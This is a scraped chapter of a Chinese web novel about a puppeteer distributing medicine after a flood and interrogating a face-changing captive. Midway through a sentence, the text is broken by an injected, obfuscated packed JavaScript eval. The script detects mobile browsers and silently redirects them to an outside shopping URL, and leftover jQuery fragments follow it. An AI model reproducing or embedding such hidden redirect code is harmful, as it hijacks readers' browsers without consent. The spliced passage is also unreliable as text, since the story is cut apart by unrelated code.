文趣网 > 其他小说 > 傀儡牵 > 95. 姓名3
    秦瑾年备得不少药,当前要发的是用于‘状况稳定’的药。

    “雨已小了。生病的一会儿我去给看看,这药先服,至少其他人不会比当下更糟。”秦瑾年一伸手,指尖上挂着数串药包,如此道。

    闻赫接过他递来的被草绳系紧的药包,先就近在周围一一分发了,随后回到傀儡身侧。

    她拉着线叫傀儡起身,从手上扯下两包药向抬头望来、神色间仍有焦色的女人递去,随即微微侧身给她一指秦瑾年的背影,道:“先服这个,保您眼下不病,孩子亦不会太难捱。”她的声音被刻意调整,放得极轻、极柔,“医师在那处发药,稍待一会儿便会前来。”

    女人又同闻赫道谢。

    被她抱在怀里的孩子转过脸埋在女人臂弯中开始闷咳,闻赫瞧了一眼,此事确非她所长,只得口头再安慰两句便罢。

    傀儡在操控下转身、抬手,闻赫挑出两提药来挂上它的指尖。她一心多用,一面扯着线叫傀儡去发药,一面自己往另一处无人看顾的人群去。

    她指节上挂的药包摇摇晃晃,随着道谢声不断,眼见着那草绳逐渐轻盈,药包渐次减少下去。

    雨势渐小,闻赫终于能叫傀儡的脚自然落地。

    药物分发得快,或急或缓,大多人借着草棚间滴落的雨水便将药粉囫囵吞咽下去。

    “少宗主,方才实在是忘了。”眼下得了空,瘦小女人行至闻赫身边。她在腰间随意擦了两把沾了泥水的手,倒很大方地同闻赫招呼:“您叫我月娘就成。”

    闻赫“嗯”了一声。

    “药分完了?”她问。

    月娘点头:“分完了。药宗那位先生在点病人人数,我叫我家满子去帮着打打下手。”

    那便是暂且得了闲了。

    实是先前事态紧急。有关消息中所说的章垣的事儿,闻赫尚未来得及问。

    她边往手上绕着线边问:“你信中说见着章垣师兄了?”

    月娘一愣,随即一拍脑门儿,恼道:“哎呦,忙忘了。”她仔细想了想,“我是见着了,但离得远,指不定看岔了也有可能。”

    闻赫不管这些解释,径自问道:“在哪儿瞧见的?”

    月娘便向上游方向一指:“发汛前我见他往上头去来着。”

    “身边儿没跟人?”闻赫问。

    “没有,我就瞧着他自个儿走的。”月娘答。

    闻赫悄悄捻了捻指尖。

    无论月娘看见的那个是否章垣本人,待此处事结后她都得去看看。

    这会儿秦瑾年点完了人,挽着袖口向闻赫这处走来。

    “无甚大事。”他专注搓着沾了泥点子的手腕,埋着头道,“但得找个避风挡雨的地儿,否则照这么个下雨法儿只能耗着药材。”

    闻赫微微蹙眉,四面环视一圈,思虑了近半刻钟后道:“换洗先拆了料子用着,傀儡能顶上些许风口。”

    不通术法就是这点麻烦。闻赫心下一叹。

    她将自己的换洗取出几套来依着大小一一撕开,招呼月娘来系到草棚前去用以挡风,又扯线操控着傀儡去帮着她打下手。再回头去寻秦瑾年时便见他与另一男人亦在做此事。

    在此情境下,咒术无用,阵法亦无用。

    此时有人笑问:“要挡风?”

    下头的水声仍急,这句问话被风吹散了一半儿。闻赫循声看去,见聂粟正一脚深一脚浅地踩着泥泞的泥土从稍低些的地方上来。

    想起聂粟勉强算是练气的,会上那些许术法,闻赫便扬声问:“聂先生有法子?”

    “有。一个术的事儿。”聂粟干脆应道。

    他走得更近了些,闻赫看得更清。他手上牵着根炸了草、有半掌粗细的麻绳,看着就乱七八糟得扎人。

    “我给你带来个人。”他到了闻赫近前停了脚,一扬手说。

    闻赫顺着他手中麻绳向后看去,有人被束着双手跟在他的身后。他都已停了脚,那人又向前走了数步才踉跄着站稳脚跟。

    闻赫不由得微微向后仰身,视线不断打量。聂粟先前是以何种速度在这泥泞之处前行可想而知。

    “这哪位?”闻赫看着那尚未抬起头的大块头青年,愣是想不起来这人是谁。

    聂粟亦顺着她的视线回头看了一眼:“蝶谷那个。”

    闻赫这回是当真反应不及:“啊?”

    蝶谷她可只认得纪湫。

    聂粟斟酌半晌,又同她换了个说法:“哦,那个‘四海为家’、曾用名是‘子为’的,他在云水宗时应当以这个名字去过傀宗。”

    这个名闻赫倒很是熟悉。那是她在悬赏令上点的最后一个名。

    “更名换姓倒很快。”闻赫不熟悉那个人的脸,这会儿便又带着那个名的印象对那个埋着头的青年仔细打量了一番,“那他现在叫什么?”

    “没问。”聂粟一摊手。

    麻绳一晃。

    闻赫看了好一会儿,终于看出点儿不对来:“换了脸了?”

    “换了,还四处拜师入宗,一张脸一个身份。”聂粟道,“他在悬赏令上挂挺久了,我在追他另一个身份。”

    闻赫随意一点头,倒没想到自己因仇而点的名儿对应的能是这么个麻烦的人物。

    “怎么碰上的?”她问。

    聂粟将麻绳在手上缠了数圈,将人又拉近了些,道:“许是身份太多自己亦有些混淆,他从蝶谷换脸回云水宗时露了破绽。”

    闻赫了然。

    “成。”她道,“你要他是做什么?”

    聂粟的话很是隐晦:“我与他之间事已结了。”

    闻赫闻言便不再深究:“那给我吧。但现在我没空管他,劳烦您再看着些。”

    她与聂粟二人之间谈论一个活人跟谈论一个物件儿无甚区别。

    “无妨。我借机歇歇。”聂粟俯身一拍大腿,将沾在外袍上的杂草湿叶拍落,摆手道,“你去忙,弄完了叫我施术替你们挡风。”

    “跑不了吧?”闻赫转身要走,不禁又回头来狐疑地多看了几眼。

    聂粟又一摆手,抖抖手上拽着的麻绳:“跑不了,这法器可限术法。”

    闻赫的视线不禁在麻绳那四处乱翘的生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835511|203043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    硬草尖上多停留了一会儿。

    法器?这法器当真算朴实无华了。

    她回转过身,指尖勾着线,操控着傀儡在草棚的木头立柱上敲下最后一根铁钉。

    秦瑾年那头亦挡得差不多,给他帮手的男人过来同闻赫道:“少宗主,那位先生说已妥了。问您可否搭把手将这边的病人转那头去?”

    闻赫往那头看了一眼,随即点头:“成。”

    这事儿她没招呼月娘,挑着布料进了棚。碰着病的大人便叫傀儡一手拦膝、一手揽肩地将人抱起送到秦瑾年那头去,小孩儿要么由着他亲人抱去,要么便自己上手。

    待她回来,掀帘便见月娘已带着她侄儿将从那头过来的人安顿好了,这才算舒了口气。

    到了这会儿才算真正得了闲。

    后头的各项事宜各有分担,闻赫便出去寻聂粟。

    她伸手虚虚拢了一把已如潮雾般的雨水,与靠在树上把玩麻绳的聂粟道:“怎么不进棚里去?”

    聂粟手上动作一停,站直了身,眉眼间已然沁上娇意:“里头憋闷,反正都湿了,不若就在外头待着。”

    闻赫眉头一动,轻声试探:“自歌?”

    聂粟冲她眨眨眼,神色间映着桃花色。

    “怎么不见你师兄?”他问。

    闻赫道:“去西南了。”

    聂粟不知在脑子里想了什么东西,露出了一副了然的神情。

    闻赫并无时间与他闲聊,视线沿着麻绳转向不远处仍被拴着双手的青年,指节轻蜷,尾指绕线。

    傀儡比她更快到青年身边,关节中的利刃牢牢顶在对方的颈侧。

    “‘子为’。”闻赫蹲在青年面前仰脸瞧他,“我姑且这么称呼你。”她绕腕抬指,操控着傀儡将青年的头按压下来,强迫其与她对视,“我也没什么要问的,只想打听打听,”她弯起唇角,冲对方露出个单纯好奇的笑颜来,“你当时进傀宗是在帮云水宗做事,还是在为谁做事?”

    青年死死盯着她,眼里神色阴沉。他的呼吸粗重,字字紧咬:“我凭什么要与你说这些?”

    闻赫双眼一眯,手腕下压,傀儡便压着他的头一同向下。

    “你在怨恨傀宗。”她笃定道。

    聂粟在旁笑了一声,声含嘲弄:“脸真大。”

    闻赫暂且忽略了聂粟的话,只伸指在青年的颊边戳了戳:“你总不能是不认得我吧?”

    青年被束缚的手猛然上抬,拼着被傀儡关节中的利刃划破脖颈的危险挥臂向闻赫的脸侧。

    闻赫只一歪身便避了开去,却免不了伸手撑地,沾了一手泥水的结果。

    与此同时聂粟拽了一把麻绳,将青年拽得跪倒在地,四溅的泥水又多少往闻赫的衣摆上沾了几滴。

    闻赫“啧”了一声,甩了甩手,又借着几乎伏在自己身前的青年的外袍擦了擦,又操控着傀儡将他拽起,笑道:“自我下山以来,你还是第一个不认得我的人。”她擦净手,又顺势拍了拍他的背。

    青年的脊背被她使力拍打发出空声,间或夹杂着两声埋在底下的闷咳。